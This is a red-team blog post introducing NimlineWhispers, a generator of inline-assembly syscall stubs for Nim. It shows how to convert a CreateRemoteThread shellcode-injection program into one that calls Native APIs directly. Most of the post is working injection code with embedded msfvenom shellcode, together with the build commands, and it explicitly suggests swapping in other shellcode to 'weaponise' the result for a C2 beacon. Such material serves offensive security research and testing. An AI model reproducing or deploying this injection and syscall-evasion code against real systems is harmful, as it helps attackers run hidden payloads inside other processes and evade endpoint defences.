Fresh from a Syscalls-fuelled BOF joyride, I had a chance to play with Nim. In particular, I was intrigued by a tweet from @byt3bl33d3r:

My immediate thought was that this looked syntactically similar to the inline assembly outputted by Outflankā€™s InlineWhispers, and that we could achieve a similar thing for Nim. A few hours (and many nested for-loops) later, we have a proof-of-concept version of NimlineWhispers.

This blog will walk through a process of using NimlineWhispers to port an existing Nim project to use Syscalls and Native APIs.

Initial Code

For our project, weā€™ll use an example from Marcelloā€™s fantastic OffensiveNim repo, specifically this one. If you havenā€™t had a play with Nim yet, Marcelloā€™s repo is a gold mine of information for installation, compilation, code examples and opsec tips - I highly recommend taking a look.

The code example weā€™ll use spawns a target process, in this case notepad.exe, and uses the classic CreateRemoteThread injection technique to allocate memory, write and launch our message box popping shellcode in that process. The original code can be seen below:

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause
]#

import winim/lean
import osproc

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

    # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D
    let tProcess = startProcess("notepad.exe")
    tProcess.suspend() # That's handy!
    defer: tProcess.close()

    echo "[*] Target Process: ", tProcess.processID

    let pHandle = OpenProcess(
        PROCESS_ALL_ACCESS, 
        false, 
        cast[DWORD](tProcess.processID)
    )
    defer: CloseHandle(pHandle)

    echo "[*] pHandle: ", pHandle

    let rPtr = VirtualAllocEx(
        pHandle,
        NULL,
        cast[SIZE_T](shellcode.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )

    var bytesWritten: SIZE_T
    let wSuccess = WriteProcessMemory(
        pHandle, 
        rPtr,
        unsafeAddr shellcode,
        cast[SIZE_T](shellcode.len),
        addr bytesWritten
    )

    echo "[*] WriteProcessMemory: ", bool(wSuccess)
    echo "    \\-- bytes written: ", bytesWritten
    echo ""

    let tHandle = CreateRemoteThread(
        pHandle, 
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](rPtr),
        NULL, 
        0, 
        NULL
    )
    defer: CloseHandle(tHandle)

    echo "[*] tHandle: ", tHandle
    echo "[+] Injected"

when defined(windows):

    # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
    when defined(i386):
        # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays
        echo "[*] Running in x86 process"
        var shellcode: array[272, byte] = [
        byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,
        ...
        0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,
        0x55,0x08]

    elif defined(amd64):
        # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays
        echo "[*] Running in x64 process"
        var shellcode: array[295, byte] = [
        byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
        ...
        0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
        0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]

    # This is essentially the equivalent of 'if __name__ == '__main__' in python
    when isMainModule:
        injectCreateRemoteThread(shellcode)

For simplicity, weā€™re going to spawn the notepad.exe process as normal and just focus on porting the injection steps to our Syscalls functions.

Converting to Native functions

We wonā€™t go into the depths of high-level vs Native API calls, mainly because people that understand it infinitely more than me have put out great material on the subject already, particular with regards to its offensive applications.

For our purposes, we know though that our high-level functions need to be replaced with the following Native API calls:

  • OpenProcess -> NtOpenProcess
  • VirtualAllocEx -> NtAllocateVirtualMemory
  • WriteProcessMemory -> NtWriteVirtualMemory
  • CreateRemoteThread -> NtCreateThreadEx
  • CloseHandle -> NtClose

These functions will require slightly different arguments and data structures. Resources such as NTAPI Undocumented Functions are invaluable for giving us insight into what we need to define to get this off the ground, e.g. the CLIENT_ID and OBJECT_ATTRIBUTES structs needed for NtOpenProcess.

Using NimlineWhispers

With our list of required native functions, we can generate our inline assembly. Firstly, clone the NimlineWhispers repository:

git clone https://github.com/ajpc500/NimlineWhispers.git

Modify functions.txt to include our five Native API functions:

NtCreateThreadEx
NtOpenProcess
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtClose

Run NimlineWhispers using the following command:

python3 NimlineWhispers

NimlineWhispers

This will produce us a syscalls.nim file, complete with the {.passC:"-masm=intel".} header weā€™ll need to compile this with inline assembly.

To integrate this with our existing code, add it to the same directory and append include syscalls to the end of our imports, as below.

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause
]#

import winim/lean
import osproc
include syscalls      <-- syscalls lib

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
...

Itā€™s worth mentioning here that SysWhispers provides us with 64-bit assembly only, and as weā€™re feeding that into NimlineWhispers, that too is 64-bit only.

Adapting the Code

Now we can set about adding the necessary code to our project to call the inline assembly Native functions weā€™ve included. Once syscalls.nim has been added to the project, we can call our Native functions as normal, e.g. see the below for NtOpenProcess.

var cid: CLIENT_ID
var oa: OBJECT_ATTRIBUTES
var pHandle: HANDLE

cid.UniqueProcess = tProcess.processID

var status = NtOpenProcess(
    &pHandle,
    PROCESS_ALL_ACCESS, 
    &oa, &cid         
)

Working through the project and adding the necessary variables and functions, we end up with code something like the below:

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause
]#

import winim/lean
import osproc
include syscalls

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

    # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D
    let tProcess = startProcess("notepad.exe")
    tProcess.suspend() # That's handy!
    defer: tProcess.close()

    echo "[*] Target Process: ", tProcess.processID

    var cid: CLIENT_ID
    var oa: OBJECT_ATTRIBUTES
    var pHandle: HANDLE
    var tHandle: HANDLE
    var ds: LPVOID
    var sc_size: SIZE_T = cast[SIZE_T](shellcode.len)

    cid.UniqueProcess = tProcess.processID

    var status = NtOpenProcess(
        &pHandle,
        PROCESS_ALL_ACCESS, 
        &oa, &cid         
    )

    echo "[*] pHandle: ", pHandle

    status = NtAllocateVirtualMemory(
        pHandle, &ds, 0, &sc_size, 
        MEM_COMMIT, 
        PAGE_EXECUTE_READWRITE);

    var bytesWritten: SIZE_T

    status = NtWriteVirtualMemory(
        pHandle, 
        ds, 
        unsafeAddr shellcode, 
        sc_size-1, 
        addr bytesWritten);

    echo "[*] WriteProcessMemory: ", status
    echo "    \\-- bytes written: ", bytesWritten
    echo ""

    status = NtCreateThreadEx(
        &tHandle, 
        THREAD_ALL_ACCESS, 
        NULL, 
        pHandle,
        ds, 
        NULL, FALSE, 0, 0, 0, NULL);

    status = NtClose(tHandle)
    status = NtClose(pHandle)

    echo "[*] tHandle: ", tHandle
    echo "[+] Injected"

when defined(windows):

    # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
    when defined(i386):
        echo "[!] This is only for 64-bit use. Exiting..."
        return 

    elif defined(amd64):
        # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays
        echo "[*] Running in x64 process"
        var shellcode: array[295, byte] = [
        byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
        ...
        0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
        0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]

    # This is essentially the equivalent of 'if __name__ == '__main__' in python
    when isMainModule:
        injectCreateRemoteThread(shellcode)

Now we can compile this with the following command:

nim c -d=mingw --app=console --cpu=amd64 SysCallsMessageBoxShellCodeInject.nim

If you give that a try, youā€™ll likely see the following output:

Missing Structs

Additional Structs

So, whatā€™s gone wrong here? While weā€™re not calling the functions provided by Winim, weā€™re still including it for all of the structs provided in windef.nim here. Except, we need two additional structs.

Specifically, PS_ATTRIBUTE and PS_ATTRIBUTE_LIST. We can take the definitions of these structs from @Jackson_Tā€™s SysWhispers project add these to the top of our syscalls.nim file.

type
  PS_ATTR_UNION* {.pure, union.} = object
    Value*: ULONG
    ValuePtr*: PVOID
  PS_ATTRIBUTE* {.pure.} = object
    Attribute*: ULONG 
    Size*: SIZE_T
    u1*: PS_ATTR_UNION
    ReturnLength*: PSIZE_T
  PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE
  PS_ATTRIBUTE_LIST* {.pure.} = object
    TotalLength*: SIZE_T
    Attributes*: array[2, PS_ATTRIBUTE]
  PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST

If we attempt to recompile now:

Compilation

Success! Running our compiled executable now, we should get our successful MessageBox.

MessageBox

And of course, if we substitute our harmless message box code for something more exciting, we can weaponise our example project!

Beacon

Conclusions

In this blog, weā€™ve seen how we can adapt a Nim project to use native API functions, included in our project as inline assembly and generated using NimlineWhispers. Itā€™s fair to say the tool is very much a proof-of-concept, in part because Iā€™m still learning NimšŸ˜… For me the obvious next step, and one also raised by Cas van Cooten, is to include the needed data types and structs as part of the NimlineWhispers syscalls.nim output. This would allow you to use that output without also importing the Winim package and wrestling with any missing structs.

Hopefully, this is helpful for those looking to integrate Syscalls into Nim projects, iā€™m very keen to improve NimlineWhispers, so pull requests are very welcome!